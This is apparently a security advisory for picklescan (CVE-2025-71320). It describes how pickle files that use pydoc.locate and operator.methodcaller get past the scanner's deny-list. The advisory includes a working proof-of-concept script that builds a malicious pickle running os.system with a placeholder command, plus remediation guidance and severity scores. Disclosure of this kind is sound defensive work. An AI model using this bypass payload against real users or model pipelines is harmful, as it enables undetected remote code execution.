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Advisory details: pypa / picklescan/PYSEC-2026-1785
Advisory ID pypa/picklescan/PYSEC-2026-1785
Aliases CVE-2025-71320
GHSA-84r2-jw7c-4r5q
PYSEC-2026-1785
Summary Picklescan has Incomplete List of Disallowed Inputs ### Summary Currently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly * pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string "os" to the actual os module). * operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system. Since locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as "Safe" or "Suspicious" (depending on configuration) but does not flag them as "Dangerous", allowing the malicious file to bypass the security check. ### PoC use the provided script to create a malicious pickle file ```python import pickle import pydoc import operator import os class ModuleLocator: def __init__(self, module_name): self.module_name = module_name def __reduce__(self): return (pydoc.locate, (self.module_name,)) class RCEPayload: def __reduce__(self): cmd = "notepad" #put your payload here mc = operator.methodcaller("system", cmd) return (mc, (ModuleLocator("os"),)) def generate_exploit(): payload = RCEPayload() try: with open("bypass.pkl", "wb") as f: f.write(pickle.dumps(payload)) print("File 'bypass.pkl' created.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": generate_exploit() ``` The generated payload will not be flagged as dangerous by picklescan but is actually malicious. ```python import pickle print("Loading bypass.pkl...") pickle.load(open("bypass.pkl", "rb")) ``` Script to open the pickle file, demonstrating impact <img width="746" height="341" alt="image" src="https://github.com/user-attachments/assets/2be1b8f9-d467-408d-b1cf-d40b49100cf0" /> ### Remediation The deny-list for these modules must be upgraded from specific functions to a wildcard (*), indicating that any use of these modules is dangerous.
Status Published
Exploitability 0.5
Weighted Severity 8.0
Risk 4.0
Affected and Fixed Packages Package Details
Introduced and Fixed Package Commit Patches Package Commit Patches Details
Weaknesses (0)
There are no known CWE.
No exploits are available.

No EPSS data available for this advisory.

Patch URL
There are no known patches.
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P Found at https://github.com/pypa/advisory-database/blob/main/vulns/picklescan/PYSEC-2026-1785.yaml
Attack Vector (AV) Attack Complexity (AC) Attack Requirements (AT) Privileges Required (PR) User Interaction (UI) Vulnerable System Impact Confidentiality (VC) Vulnerable System Impact Integrity (VI) Vulnerable System Impact Availability (VA) Subsequent System Impact Confidentiality (SC) Subsequent System Impact Integrity (SI) Subsequent System Impact Availability (SA)

network

adjacent

local

physical

low

high

none

present

none

low

high

none

passive

active

high

low

none

high

low

none

high

low

none

high

low

none

high

low

none

high

low

none

Vector: SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-06-17T17:51:20Z/

Decision: Track*

Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2025/71xxx/CVE-2025-71320.json

Source Advisory: vulnrichment/CVE-2025-71320

View SSVC decision tree
[{'Exploitation': 'poc'},
 {'Automatable': 'yes'},
 {'Technical Impact': 'total'},
 {'Mission Prevalence': 'minimal'},
 {'Public Well-being Impact': 'material'},
 {'Mission & Well-being': 'medium'}]